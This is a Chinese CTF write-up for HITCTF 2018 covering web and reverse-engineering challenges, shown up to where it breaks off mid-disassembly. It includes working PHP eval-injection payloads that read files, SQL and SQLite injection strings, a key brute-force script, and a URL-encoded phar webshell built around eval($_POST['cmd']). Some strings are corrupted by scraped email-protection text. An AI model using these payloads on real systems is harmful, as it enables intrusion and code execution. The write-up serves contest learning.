1. 程式人生 > >HITCTF 2018 wp [我真是菜鳥]

HITCTF 2018 wp [我真是菜鳥]

WEB

PHPreading

原始碼洩露,存在index.php.bak,,解一下base64知道

$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

輸入得到flag

這裡寫圖片描述

BabyEval

看一下洩露了一部分原始碼

<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->

首先查到了如果是在雙引號內可以通過這樣的方式執行eval

?str=${${phpinfo()}}

然後先輸出全域性變數看一下,沒發現flag,但是看到了黑名單…

這裡寫圖片描述

然而貌似沒什麼卵用,繼續吧,是不是藏到了index.php中?但是看了以後發現也不是。。。
/?str=${${var_dump(file(chr(46).chr(47).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112)))}}

可以檢視index.php,然後就猜測應該還有別的檔案了!然後最後在根目錄找到了flag的檔案

/?str=${${var_dump(glob(chr(47).chr(42)))}}
這裡寫圖片描述

然後最後費勁巴拉終於解決了問題
/?str=${${var_dump(file(chr(47).chr(49).chr(54).chr(50).chr(57).chr(50).chr(48).chr(57).chr(55).chr(54).chr(100).chr(57).chr(99).chr(48).chr(52).chr(97).chr(99).chr(54).chr(57).chr(101).chr(50).chr(102).chr(52).chr(51).chr(57).chr(50).chr(97
).chr(56).chr(99).chr(102).chr(102).chr(98).chr(102).chr(95).chr(102).chr(108).chr(97).chr(103).chr(46).chr(116).chr(120).chr(116)))}}
這裡寫圖片描述

題目還是不錯的。
補充一下我的方法肯能太笨了…補充好做的方法…
這裡寫圖片描述

小電影

開啟題目一看,說是ffmpeg,立馬想到去年出的ffmpeg任意檔案讀取漏洞了,利用file協議的脆弱吧,但是這裡不太好的就是不知道檔案的路徑,猜測flag.txt成功了。
具體怎麼做,其實就是用人家的指令碼…指令碼小子…上傳的檔名必須是123.avi,最後得到flag如下

這裡寫圖片描述

BabyInjection

給了原始碼

<?php
error_reporting(0);

if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
    echo 'Login and get the flag';
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
    echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
    echo '<input type="submit" ></input>'."<br/>";
    echo '</form>'."<br/>";
    die;
}

$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
    die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
    die("Hacker hacker hacker~");
}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['passwd'] == $passwd){
        die('you did it and this is your flag: '.$flag);
    }
    else{
        die('Wrong password');
    }
}
else{
    die('Wrong username');
}

這個貌似是一道實驗吧的原題,但是我實在是記不清楚了,最後發現是用with rollup繞過的,但是這裡貌似限制了limit的使用,怎麼限制呢?這裡用了having,半天才想到,真是垃圾!
with rollup的特性在此不講,和group by組合生成一個列為null的插入查詢。然後用having passwd is null限制即可
最後構造如下

這裡寫圖片描述

注意passwd不要輸入內容,貌似因為mysql中的null轉換到php中是一個空字串,如果有輸入就一定是“”==“某串”,肯定是錯的。
好題好題!

BabyLeakage

這個題目我是有點不懂得,說真的都不知道怎麼弄出來了,利用了網站的報錯機制,首先顯示報錯洩露了檔案的結構

這裡寫圖片描述

然後構造這個/news/article/1/1/類似的去爆資訊
然後看到了很多不得了的資訊啊
這裡寫圖片描述

然後需要遠端登陸一下他的mysql!
這裡寫圖片描述
mysql> use F1agIsHere;
Database changed
mysql> describe f
    -> ;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H     | text | YES  |     | NULL    |       |
| I     | text | YES  |     | NULL    |       |
| TC    | text | YES  |     | NULL    |       |
| T     | text | YES  |     | NULL    |       |
| F     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)

mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H     | text | YES  |     | NULL    |       |
| I     | text | YES  |     | NULL    |       |
| TC    | text | YES  |     | NULL    |       |
| T     | text | YES  |     | NULL    |       |
| F     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)

mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field   | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| {       | text | YES  |     | NULL    |       |
| C10se_  | text | YES  |     | NULL    |       |
| Debu91n | text | YES  |     | NULL    |       |
+---------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)

mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field    | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES  |     | NULL    |       |
| mmp      | text | YES  |     | NULL    |       |
| ort      | text | YES  |     | NULL    |       |
+----------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)

mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7   | text | YES  |     | NULL    |       |
| }     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
2 rows in set (0.02 sec)

最終答案

HITCTF{C10se_Debu91nfo_Is_Immmport4n7}

SecurePY

這個題目本來沒什麼思路,結果找到了相似的題目,這是不是TWCTF2017的題目?呃呃呃,提示是/pycache/,然後想到了這個
在 python-web 應用中,當前目錄下, .py檔案生成的pyc檔案會被儲存在 pycache資料夾中,並以 .cpython-XX.pyc 為副檔名,其中的 XX 與 CPython 版本有關。比如app.py,其對應的 pyc檔案路徑為 pycache/app.cpython-35.pyc。我們嘗試訪問:

http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc

結果還真有東西!然後反編譯得到程式碼

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'

def index():
    return render_template('index.html', flag_enc = flag_enc)

index = app.route('/')(index)

def getflag():
    req = request.json
    if not req:
        return jsonify(result = False)
    if None not in req:
        return jsonify(result = False)
    key = None['key']
    if len(key) != len(flag_key):
        return jsonify(result = False)
    for (x, y) in zip(key, flag_key):
        if ord(x) ^ ord(y):
            return jsonify(result = False)
    cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
    plain_text = cryptor.decrypt(a2b_hex(flag_enc))
    flag = plain_text.decode('utf-8').strip()
    return jsonify(result = True, flag = flag)

getflag = app.route('/getflag', methods = [
    'POST'])(getflag)
if __name__ == '__main__':
    app.run()

這個是簡化版本的,首先我們看到加密的金鑰要用來作為CBC模式的金鑰,那麼不出意外是16位。
我們能根據伺服器端返回來的資訊來判斷長度是否符合。我們傳入的引數key,伺服器端並沒有驗證它的型別,也就是說我們可以傳入一個list,而不是一個字串。我們為什麼可以判斷?看下圖

這裡寫圖片描述

如果是長度不匹配那麼返回上面紅色闊內return false了,如果通過進入下一句,如果json傳入null,轉換成python就變了
這裡寫圖片描述

而ord(None)會崩潰返回500!
我們嘗試一下
這裡寫圖片描述

這就說明長度確實是16位的了。
然後我們繼續看還有對金鑰的判斷
這裡寫圖片描述

這是對每一位進行判斷,某一位不通過反匯false,我們可以構造null結尾的陣列,如果通過那麼就會檢測下一組的null,反匯500,如果沒通過就會返回false!666直接寫程式把
import requests
url = "http://123.206.83.157:8000/getflag"
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
for index in range(16):
    for i in range(32,128):
        key[index] = str(chr(i))
        payload = {"key":key}
        text = requests.post(url,json=payload).text
        if "500 Internal Server Error" in text :
            print("".join(key[:index+1]))
            break
        if "true" in text:
            print("".join(key))
            exit()

然後就能爆破出金鑰了,真的原題要更復雜一些,這裡簡化了。金鑰為5ecur3pPYpyPYk3y

HITCTF{O0o0o0oOracle_Attttttack_1s_yinQu3S17ing}

BabyWrite

比賽後期一航巨佬都快放出來wp了…貌似就是XNUCA練習賽login,讓一航大佬生生搞了個getshell的非常規做法,真心牛逼,這裡限制更多了一些
首先包含得到原始碼index.php

<?php
if(isset($_GET['page'])){
    $file = $_GET['page'].'.php';
    include($file);
}else{
    header("Location: /?page=login");
    die();
}
?>

login.php

<!DOCTYPE html>
<html>
<head>
    <title>CTF</title>
</head>
<body>

    登陸解鎖更多功能
    <form action="login.php" method="POST">
        使用者名稱 : <input name="username" placeholder="username"><br/>
        密碼 : <input name="password" placeholder="password"><br/><br/>
        <input type="submit" value="登陸">
    </form>
</body>
</html>

<?php
    require_once('config.php');
    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        if ($username === "admin" && sha1(md5($password)) === $admin_hash){
            echo '<script>alert("Login seccess!");</script>';
        }else{
            if (isset($_GET['debug'])){
                if($_GET['debug'] === 'hitctf'){
                    $logfile = "log/".$username.".log";
                    $content = $username." => ".$password;
                    file_put_contents($logfile, $content);

                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }else{
                echo '<script>alert("Login failed!");</script>';
            }
        }
    }else{
        echo '<script>alert("Please input username and password!");</script>';
    }
?>

config.php

<?php

$admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";

嘗試了王師傅的zip不行,問了一下說根本沒裝php zip,換了phar嘗試,結果坑到死…mmp
首先是生成就廢了很大功夫…真是傻一個單詞坑一下午!!!

<?php
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>

生成檔案,注意的是倒數28位元組中,前20位元組是檔案校驗和,sha1處理的,我們需要重新計算,因為檔案中會加入一個=> 四位元組
首先生成的檔案是這樣的

這裡寫圖片描述

然後這樣輸入一下
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e5%f4%27%dc%f5%71%41%5a%47%c0%3d%32%d3%68%c6%a2%24%09%81%ff%02%00%00%00%47%42%4d%42

這個時候檔案前面會多加5個位元組!就是1 =>(或者下載下來修改後的檔案)
我們後面的工作就是加上這五個位元組,重新計算一下校驗!校驗在就是sha1…這個sha1計算是去掉後28位元組在計算…

def getSha1(filename): 
    sha1Obj = sha1()
    with open(filename, 'rb') as f:
        sha1Obj.update(f.read())
    return sha1Obj.hexdigest()

計算後更新一下…

這裡寫圖片描述

調整後輸入
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e7%1d%cc%17%64%66%5c%85%c9%4d%3a%7e%e9%2a%8a%cc%61%db%d8%a0%02%00%00%00%47%42%4d%42
這裡寫圖片描述

哇…好難的題目…但是真是長見識了!!!感謝pr0ph3t師傅,膜膜膜!

BabyQuery

這個題目本來我沒做出來,被上一題搞矇蔽了…是什麼Graphsql注入
首先是看一下輸入

這裡寫圖片描述

類似json的格式,然後蘇我欸的GE======其實是1的base32啦,但是我們進行別的測試的時候發現了長度限制
這裡寫圖片描述

這就很麻煩了,然後我胡亂改了一下函式名字
這裡寫圖片描述

還有另一個函式getscorebyyourname,嘗試使用它
這裡寫圖片描述

然後發現沒有長度限制啦!但是我組到這裡就jj了…
像mysql構造注入試一試…
1' union select '1
這裡寫圖片描述

媽耶…然後正常注入試試
1' union select databases() where '1
這裡寫圖片描述

呃呃呃???難道不是mysql,猜測是sqlite3嘍
1' union select 1 from sqlite_master where '1
這裡寫圖片描述

應該沒跑了,因為sqlite_master是sqlite的隱藏表
0' union select(select name from sqlite_master where type='table' limit 1,1) where '1
這裡寫圖片描述

看到了Secr3t_fl4g
然後
0' union select(select * from Secr3t_fl4g) where '1
這裡寫圖片描述

膜一發一葉飄零


REVERSE

Baby Android

簡單的安卓簽到題目得到簡單的抑或程式碼

這裡寫圖片描述

計算結果如下
s1 = '#$%$#!&#^_^~(:[email protected]_*#######'
s2 = 'kmqgwg]Tm3=NE_/[email protected]^'
flag =''
for i in range(len(s1)):
    flag +=chr(ord(s1[i])^ord(s2[i]))
print flag 
#HITCTF{w3lc0me_t0_hitctf}

網管的麒麟臂

沒怎麼接觸過著實嚇了我一跳,直接分析吧,其實最關鍵的要的是KEY而已
c程式碼

#include <stdio.h>
#include <fcntl.h>
int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
    "push   {r6}\n"
    "add    r6, pc, $1\n"
    "bx r6\n"
    ".code   16\n"
    "mov    r3, pc\n"
    "add    r3, $0x4\n"
    "push   {r3}\n"
    "pop    {pc}\n"
    ".code  32\n"
    "pop    {r6}\n"
    );
}
int key3(){
    asm("mov r3, lr\n");
}
int main(){
    int key=0;
    printf("Enjoy Binnary!");
    scanf("%d", &key);
    if( (key1()+key2()+key3()) == key ){
        printf("Congratz!\n");
    }
    else{
        printf("Try Harder! XD\n");
    }
    return 0;
}

dump值

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>: push    {r4, r11, lr}
   0x00008d40 <+4>: add r11, sp, #8
   0x00008d44 <+8>: sub sp, sp, #12
   0x00008d48 <+12>:    mov r3, #0
   0x00008d4c <+16>:    str r3, [r11, #-16]
   0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
   0x00008d54 <+24>:    bl  0xfb6c <printf>
   0x00008d58 <+28>:    sub r3, r11, #16
   0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
   0x00008d60 <+36>:    mov r1, r3
   0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:    bl  0x8cd4 <key1>
   0x00008d6c <+48>:    mov r4, r0
   0x00008d70 <+52>:    bl  0x8cf0 <key2>
   0x00008d74 <+56>:    mov r3, r0
   0x00008d78 <+60>:    add r4, r4, r3
   0x00008d7c <+64>:    bl  0x8d20 <key3>
   0x00008d80 <+68>:    mov r3, r0
   0x00008d84 <+72>:    add r2, r4, r3
   0x00008d88 <+76>:    ldr r3, [r11, #-16]
   0x00008d8c <+80>:    cmp r2, r3
   0x00008d90 <+84>:    bne 0x8da8 <main+108>
   0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
   0x00008d98 <+92>:    bl  0x1050c <puts>
   0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
   0x00008da0 <+100>:   bl  0xf89c <system>
   0x00008da4 <+104>:   b   0x8db0 <main+116>
   0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
   0x00008dac <+112>:   bl  0x1050c <puts>
   0x00008db0 <+116>:   mov r3, #0
   0x00008db4 <+120>:   mov r0, r3
   0x00008db8 <+124>:   sub sp, r11, #8
   0x00008dbc <+128>:   pop {r4, r11, pc}
   0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
   0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
   0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>: add r11, sp, #0
   0x00008cdc <+8>: mov r3, pc
   0x00008ce0 <+12>:    mov r0, r3
   0x00008ce4 <+16>:    sub sp, r11, #0
   0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
   0x00008cec <+24>:    bx  lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>: add r11, sp, #0
   0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:    add r6, pc, #1
   0x00008d00 <+16>:    bx  r6
   0x00008d04 <+